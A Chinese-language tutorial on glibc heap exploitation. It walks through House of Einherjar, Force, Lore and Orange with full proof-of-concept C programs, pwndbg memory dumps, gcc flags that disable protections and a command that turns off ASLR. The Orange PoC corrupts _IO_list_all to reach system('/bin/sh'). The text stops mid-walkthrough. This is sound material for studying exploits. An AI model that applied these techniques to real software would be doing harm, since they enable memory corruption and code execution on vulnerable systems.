由于house of 技术中的一些漏洞只能在特定的低版本Glibc中触发,因此我这里基于pwntools写了一个脚本,可以使文中所示的程序在高版本系统下编译后,gdb调试时能强制加载特定版本的Glibc。
首先需要准备特定版本的Glibc,这里以libc-2.25.so.6为例
from pwn import * #context.log_level = 'debug' context.arch = 'amd64' pro = raw_input("py <Bin_Path>: ") pro=pro.replace("\n", "") io = process([pro],env={"LD_PRELOAD":"./libc-2.25.so.6"}) gdb.attach(io,'set exec-wrapper env "LD_PRELOAD=./libc-2.25.so.6"') pause() io.interactive()
在弹出的gdb窗口 r 一下就可以运行了。
这里再提一下gcc编译,如果想要进行源码调试,需要加 -g 选项。-D GLIBC_VERSION=25 选项可设置动态链接的glibc版本为2.25。
为了方便我们之后的调试,需要在编译时关闭相关保护,选项如下
CANNARY gcc -fno-stack-protector -o test test.c //禁用栈保护 gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码 gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
FORTIFY gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查 gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查(如果检查到缓冲区溢出,就终止程序)
NX gcc -o test test.c // 默认情况下,开启NX保护 gcc -z execstack -o test test.c // 禁用NX保护 gcc -z noexecstack -o test test.c // 开启NX保护
PIE gcc -o test test.c // 默认情况下,不开启PIE gcc -fpie -pie -o test test.c // 开启PIE,此时强度为1 gcc -fPIE -pie -o test test.c // 开启PIE,此时为最高强度2 gcc -fpic -o test test.c // 开启PIC,此时强度为1,不会开启PIE gcc -fPIC -o test test.c // 开启PIC,此时为最高强度2,不会开启PIE
系统中关闭PIE选项使用sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
但可能会报错 -bash: /proc/sys/kernel/randomize_va_space: 权限不够
这可能是因为sudo命令不支持重定向
使用sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
即可
RELRO gcc -o test test.c // 默认情况下,是Partial RELRO gcc -z norelro -o test test.c // 关闭,即No RELRO gcc -z lazy -o test test.c // 部分开启,即Partial RELRO gcc -z now -o test test.c // 全部开启,即
House of Einherjar依靠Off-by-one将下一个chunk的 pre_inuse标志位置零,将 p1 的 prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值,在free下一个chunk时,让free函数以为上一个chunk已经被free,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置为我们伪造chunk的地址。
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #define CHUNKSIZE 0x100 #define FIRST_CHUNKSIZE 0x20 #define SECOND_CHUNKSIZE CHUNKSIZE #define THIRD_CHUNKSIZE 0x0 #define INTERNAL_SIZE_T size_t #define SIZE_SZ sizeof(INTERNAL_SIZE_T) struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk* fd; struct malloc_chunk* bk; struct malloc_chunk* fd_nextsize; struct malloc_chunk* bk_nextsize; }; int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ); // 第一个字节将被覆盖为空字节. char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ); // 防止调用 malloc_consolidate(). char *p2 = malloc(THIRD_CHUNKSIZE); printf("House of Einherjar Poc\n\n"); printf("堆中共申请三个chunk\n第一个chunk只需要对齐且未分配\n第二个chunk大小必须在smallbin & largebin范围内\n最后一个chunk可以为任意大小,只需要保证不调用malloc_consolidate()\n"); printf("\tp0 = %p\n\tp1 = %p\n\tp2 = %p\n", p0, p1, p2); printf("\n----------------\n"); printf("在栈中伪造一个fakechunk\n"); struct malloc_chunk fakechunk; fakechunk.size = 0; fakechunk.fd = &fakechunk; fakechunk.bk = &fakechunk; printf("当前 fakechunk: \n"); printf("\t&fakechunk: %p\n", &fakechunk); printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk); printf("假设p0对p1存在Off-by-one \n因此p1->size的最低位将被修改为NULL \np1->prev_size同样受到影响\n\n"); off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2); // ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff; *((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff; p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one printf("** 溢出触发 **\n"); // ---------------------------------------------- printf("通过free(p1)触发合并\n"); free(p1); printf("\n----------------\n"); printf("当前 fakechunk: \n"); printf("\t&fakechunk: %p\n", &fakechunk); printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk); printf("\n控制fakechunk->size为合适的值 \n"); fakechunk.size = CHUNKSIZE; printf("当前 fakechunk: \n"); printf("\t&fakechunk: %p\n", &fakechunk); printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk); printf("\n----------------\n"); printf("malloc(0x%zx) // fakechunk+SIZE_SZ.\n", CHUNKSIZE - SIZE_SZ); char *where_you_want = malloc(CHUNKSIZE - SIZE_SZ); printf("\t目标地址 = %p\n", where_you_want); return 0; }
char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ); // 第一个字节将被覆盖为空字节. char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ); // 防止调用 malloc_consolidate(). char *p2 = malloc(THIRD_CHUNKSIZE);
pwndbg> heap
0x555555559000 PREV_INUSE {
prev_size = 0,
size = 657,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555559290 FASTBIN { # p0
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x101 # off-by-one位置
}
0x5555555592b0 PREV_INUSE { # p1
prev_size = 0,
size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555555593b0 FASTBIN { # p2
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20c31
}
0x5555555593d0 PREV_INUSE {
prev_size = 0,
size = 134193,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/50xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000021 <== p0
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000101 <== p1
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000021 <== p2
0x5555555593c0: 0x0000000000000000 0x0000000000000000
0x5555555593d0: 0x0000000000000000 0x0000000000020c31 <== top chunk
0x5555555593e0: 0x0000000000000000 0x0000000000000000
off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2); // ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff; *((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff; //fakechunk与p1的偏移量 p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
0x555555559290 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0xffffd5555555b750, <== 偏移量
bk_nextsize = 0x100
}
pwndbg> x/50xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000021
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0xffffd5555555b750 0x0000000000000100 <==覆盖inuse
0x5555555592c0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000021
0x5555555593c0: 0x0000000000000000 0x0000000000000000
0x5555555593d0: 0x0000000000000000 0x0000000000020c31
0x5555555593e0: 0x0000000000000000 0x0000000000000000
p1 free前与free后比较
0x5555555592b0 {
prev_size = 18446697161213458256,
size = 256,
fd = 0x0,
bk = 0x0, <------------------
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555555592b0 {
prev_size = 18446697161213458256,
size = 256,
fd = 0x0,
bk = 0x555555559010, <------------------
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg>
目标地址 = 0x7fffffffdb50
通过计算,重新申请到新的位置
在2.27版本中malloc.c对prev_size 的检查如下
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))\ malloc_printerr ("corrupted size vs. prev_size"); \
只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就可以了。
fake_chunk2 = (struct malloc_chunk *)p0 + 1; fake_chunk2->prev_size = sizeof(struct malloc_chunk);
通过house_of_einherjar,我们可以控制top chunk,再次malloc后,我们可以控制程序相应位置,按照程序功能,可能会达到任意地址读写,然后就可以通过一般手段getshell。
假设top chunk的header可被溢出覆盖,可以将size修改为一个大数,使得所有初始化都通过top chunk而不是mmap,再malloc就可以使接下来的任何操作都调用指定地址,这里相当于一次任意地址写。
利用条件:
#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> char bss_var[] = "这里是将要被覆写的字符串."; int main(int argc , char* argv[]) { fprintf(stderr, "\nHouse of Force Poc\n\n"); fprintf(stderr, "\n我们将通过此漏洞覆写地址 %p 的值.\n", bss_var); fprintf(stderr, "当前值为: %s\n", bss_var); fprintf(stderr, "\n申请第一个chunk.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "大小为256 bytes 的chunk 在 %p 被申请.\n", p1 - 2); int real_size = malloc_usable_size(p1); fprintf(stderr, "分配的块的实际大小是 %ld.\n", real_size + sizeof(long)*2); fprintf(stderr, "\n假设存在一个可溢出到 top chunk 的漏洞\n"); intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); fprintf(stderr, "\ntop chunk 起始地址是 %p\n", ptr_top); fprintf(stderr, "\n用一个极大值覆写top chunk的size使得malloc不会调用mmap\n"); fprintf(stderr, "top chunk的旧size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "top chunk的新size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); fprintf(stderr, "\n接下来申请一个chunk,通过整数溢出指向该chunk"); unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; fprintf(stderr, "\n我们想要写的值位于 %p, top chunk 位于 %p, 通过计算头部size,\n" "我们应该 malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "新指针和旧top chunk一样指向: %p\n", new_ptr - sizeof(long)*2); void* ctr_chunk = malloc(100); fprintf(stderr, "\n下一个chunk将指向目标buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "现在我们可覆写该字符串:\n"); fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... 使用 strcpy 覆写 \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var); }
intptr_t *p1 = malloc(256);
pwndbg> heap
0x555555559000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 657,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555559290 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555555593a0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134241,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/40xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000111
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000020c61 <==== top chunk
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
pwndbg> x/40xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000111
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0xffffffffffffffff <==== 修改top chunk size为极大值
0x5555555593b0: 0x0000000000000000 0x0000000000000000
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; void *new_ptr = malloc(evil_size);
malloc 0xffffffffffffeef0 bytes.
void* ctr_chunk = malloc(100); strcpy(ctr_chunk, "YEAH!!!");
... old string: 这里是将要被覆写的字符串.
... 使用 strcpy 覆写 "YEAH!!!"...
... new string: YEAH!!!
目前在glibc2.27上仍然可以利用,而2.29版本则已有缓解措施
if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size");
创建两个chunk,第一个用于进入smallbin中,第二个用来防止free后被top chunk合并,free第一块,将其送入unsortedbin链表,再次申请一个size位于largebin中,并且在unsortedbin中没有与其匹配的chunk,系统接下来会把unsortedbin中的chunk加入到smallbin中。假设可以控制 第一个chunk的fd、bk指针,我们就可以在栈上伪造出一个smallbin的链表,再次malloc时,就可以从smallbin的链表末尾取chunk了。这样就可以在栈上创造chunk。
#include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct small_chunk { size_t prev_size; size_t size; struct small_chunk *fd; struct small_chunk *bk; char buf[0x64]; // 填充 smallbin size大小的chunk }; int main() { struct small_chunk fake_chunk, another_fake_chunk; struct small_chunk *real_chunk; unsigned long long *ptr, *victim; int len; printf("House of lore Poc\n\n"); printf("fake_chunk地址: %p\n\n", &fake_chunk); len = sizeof(struct small_chunk); printf("申请两个small chunk,释放第一个,该块会并入unsorted bin\n"); ptr = malloc(len); printf("第一块small chunk地址: %p\n\n", ptr); printf("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n"); printf("第二块small chunk地址: %p\n\n", malloc(len)); free(ptr); real_chunk = (struct small_chunk *)(ptr - 2); printf("第一块目前的地址: %p\n\n", real_chunk); printf("再申请一个chunk,size大于之前chunk以防被分配到同一个位置\n"); printf("之前free的chunk现在进入small bin\n"); printf("第三块small chunk地址: %p\n\n", malloc(len + 0x10)); printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n"); real_chunk->bk = &fake_chunk; printf("使fake_chunk的fd指针指向第一块small chunk\n"); fake_chunk.fd = real_chunk; printf("绕过 \'victim->bk->fd == victim\' 检测\n"); fake_chunk.bk = &another_fake_chunk; another_fake_chunk.fd = &fake_chunk; printf("重新申请第一块,地址为: %p\n", malloc(len)); victim = malloc(len); printf("再次申请得到fake_chunk,地址为 %p\n", victim); return 0; }
ptr = malloc(len); printf("第一块small chunk地址: %p\n\n", ptr); printf("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n"); printf("第二块small chunk地址: %p\n\n", malloc(len));
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091 <=== chunk1
0x555555559420: 0x0000000000000000 0x0000000000000000
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000000000
0x555555559470: 0x0000000000000000 0x0000000000000000
0x555555559480: 0x0000000000000000 0x0000000000000000
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000000 0x0000000000000091 <=== chunk2
0x5555555594b0: 0x0000000000000000 0x0000000000000000
0x5555555594c0: 0x0000000000000000 0x0000000000000000
0x5555555594d0: 0x0000000000000000 0x0000000000000000
0x5555555594e0: 0x0000000000000000 0x0000000000000000
0x5555555594f0: 0x0000000000000000 0x0000000000000000
0x555555559500: 0x0000000000000000 0x0000000000000000
0x555555559510: 0x0000000000000000 0x0000000000000000
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x0000000000020ad1 <=== top chunk
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4b38 0x00007ffff7fc4b38 <=== 加入unsorted bin
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000000000
0x555555559470: 0x0000000000000000 0x0000000000000000
0x555555559480: 0x0000000000000000 0x0000000000000000
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x0000000000020ad1 =================>|
|
pwndbg> x/20xg 0x00007ffff7fc4b38 |
0x7ffff7fc4b38 <main_arena+88>: 0x0000555555559530 0x0000000000000000 <=|
0x7ffff7fc4b48 <main_arena+104>: 0x0000555555559410 0x0000555555559410 <=== chunk1
0x7ffff7fc4b58 <main_arena+120>: 0x00007ffff7fc4b48 0x00007ffff7fc4b48
0x7ffff7fc4b68 <main_arena+136>: 0x00007ffff7fc4b58 0x00007ffff7fc4b58
0x7ffff7fc4b78 <main_arena+152>: 0x00007ffff7fc4b68 0x00007ffff7fc4b68
0x7ffff7fc4b88 <main_arena+168>: 0x00007ffff7fc4b78 0x00007ffff7fc4b78
0x7ffff7fc4b98 <main_arena+184>: 0x00007ffff7fc4b88 0x00007ffff7fc4b88
0x7ffff7fc4ba8 <main_arena+200>: 0x00007ffff7fc4b98 0x00007ffff7fc4b98
0x7ffff7fc4bb8 <main_arena+216>: 0x00007ffff7fc4ba8 0x00007ffff7fc4ba8
0x7ffff7fc4bc8 <main_arena+232>: 0x00007ffff7fc4bb8 0x00007ffff7fc4bb8
printf("第三块small chunk地址: %p\n\n", malloc(len + 0x10));
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4bb8 0x00007ffff7fc4bb8 <=== chunk1加入small bin
0x555555559430: 0x0000000000000000 0x0000000000000000
...
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559530: 0x0000000000000000 0x00000000000000a1
pwndbg> x/20xg 0x00007ffff7fc4bb8
0x7ffff7fc4bb8 <main_arena+216>: 0x00007ffff7fc4ba8 0x00007ffff7fc4ba8
0x7ffff7fc4bc8 <main_arena+232>: 0x0000555555559410 0x0000555555559410 <=== chunk1
0x7ffff7fc4bd8 <main_arena+248>: 0x00007ffff7fc4bc8 0x00007ffff7fc4bc8
0x7ffff7fc4be8 <main_arena+264>: 0x00007ffff7fc4bd8 0x00007ffff7fc4bd8
0x7ffff7fc4bf8 <main_arena+280>: 0x00007ffff7fc4be8 0x00007ffff7fc4be8
0x7ffff7fc4c08 <main_arena+296>: 0x00007ffff7fc4bf8 0x00007ffff7fc4bf8
0x7ffff7fc4c18 <main_arena+312>: 0x00007ffff7fc4c08 0x00007ffff7fc4c08
0x7ffff7fc4c28 <main_arena+328>: 0x00007ffff7fc4c18 0x00007ffff7fc4c18
0x7ffff7fc4c38 <main_arena+344>: 0x00007ffff7fc4c28 0x00007ffff7fc4c28
0x7ffff7fc4c48 <main_arena+360>: 0x00007ffff7fc4c38 0x00007ffff7fc4c38
printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n"); real_chunk->bk = &fake_chunk; printf("使fake_chunk的fd指针指向第一块small chunk\n"); fake_chunk.fd = real_chunk; printf("绕过 \'victim->bk->fd == victim\' 检测\n"); fake_chunk.bk = &another_fake_chunk; another_fake_chunk.fd = &fake_chunk;
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4bb8 0x00007fffffffda70 <=== fd->smallbin bk->&fake_chunk
0x555555559430: 0x0000000000000000 0x0000000000000000
...
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x00000000000000a1
pwndbg> x/20xg 0x00007fffffffda70
0x7fffffffda70: 0x0000038000000380 0x0000038000000380 <=== fake_chunk
0x7fffffffda80: 0x0000555555559410 0x00007fffffffdb00 <=== fd->chunk1 bk->&another_fake_chunk
0x7fffffffda90: 0x0000038000000380 0x0000038000000380
0x7fffffffdaa0: 0x0000038000000380 0x0000038000000380
0x7fffffffdab0: 0x0000038000000380 0x0000038000000380
0x7fffffffdac0: 0x0000000000000000 0x0000004000000100
0x7fffffffdad0: 0x0000000000000000 0x0000000000000000
0x7fffffffdae0: 0x0000000000000000 0x0000000000000000
0x7fffffffdaf0: 0x0000000000000000 0x0000000000000000
0x7fffffffdb00: 0x0000000000000000 0x0000000000000000
printf("重新申请第一块,地址为: %p\n", malloc(len)); victim = malloc(len);
通过house of lore,我们达到了任意地址分配内存的效果,就可以向chunk中写入数据来覆盖返回地址控制eip,甚至绕过 canary检查。
假设存在堆溢出可覆盖到 top chunk,设置top chunk+size页面对齐,设置prev_inuse位,然后申请一块比top chunk size大的块,使top chunk扩展。控制io_list_all,当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。修改fd满足相应条件,设置跳板指针指向可控内存,malloc触发利用链。
#include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { fprintf(stderr,"House of orange Poc\n\n"); char *p1, *p2; size_t io_list_all, *top; p1 = malloc(0x400-16); fprintf(stderr,"首先申请一个chunk: p1 %p \n",p1); fprintf(stderr,"设置top chunk+size页面对齐,设置prev_inuse位\n\n"); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; fprintf(stderr,"申请一个size大于top chunk的块,使其调用sysmalloc和_init_free\n\n"); p2 = malloc(0x1000); fprintf(stderr,"p2 %p \n", p2); fprintf(stderr,"chunk->bk->fd覆盖_IO_list_all指针\n\n"); io_list_all = top[2] + 0x9a8; fprintf(stderr,"io_list_all现在指向chunk->bk->fd %p \n", &io_list_all); fprintf(stderr,"当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。\n\n"); fprintf(stderr,"设置chunk->bk为_IO_list_all - 16\n"); top[3] = io_list_all - 0x10; fprintf(stderr,"system将通过top指针被调用,使用用/bin/sh填充前8个字节,相当于system(/bin/sh)\n"); memcpy( ( char *) top, "/bin/sh\x00", 8); fprintf(stderr,"将top chunk的size改小,使旧的top chunk被malloc分配到small bin[4],指向伪文件指针的fd-ptr\n\n"); top[1] = 0x61; fprintf(stderr,"满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n"); _IO_FILE *fp = (_IO_FILE *) top; fprintf(stderr,"满足 fp->_mode <= 0\n" ); fp->_mode = 0; // top+0xc0 fprintf(stderr,"满足 fp->_IO_write_ptr > fp->_IO_write_base\n"); fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 fprintf(stderr,"设置跳板指向可控内存\n\n"); size_t *jump_table = &top[12]; // 可控内存 jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 fprintf(stderr,"malloc触发利用链\n"); malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }
p1 = malloc(0x400-16); fprintf(stderr,"设置top chunk+size页面对齐,设置prev_inuse位\n\n"); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01;
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 1025,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603400 PREV_INUSE { <====== chunk1
prev_size = 0,
size = 3073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x604000 { <====== top chunk
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/40xg 0x603400-0x400
0x603000: 0x0000000000000000 0x0000000000000401 <===== chunk1
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
...
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000c01 <===== top chunk
0x603410: 0x0000000000000000 0x0000000000000000
malloc p2前 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x603000 0x624000 rw-p 21000 0 [heap] <========= 0x603000-0x624000 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] malloc p2后 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x603000 0x646000 rw-p 43000 0 [heap] <========= 0x603000-0x646000 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10;
pwndbg> x/10xg 0x603400
0x603400: 0x0000000000000000 0x0000000000000be1
0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 fd bk
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
pwndbg> unsortedbin
unsortedbin
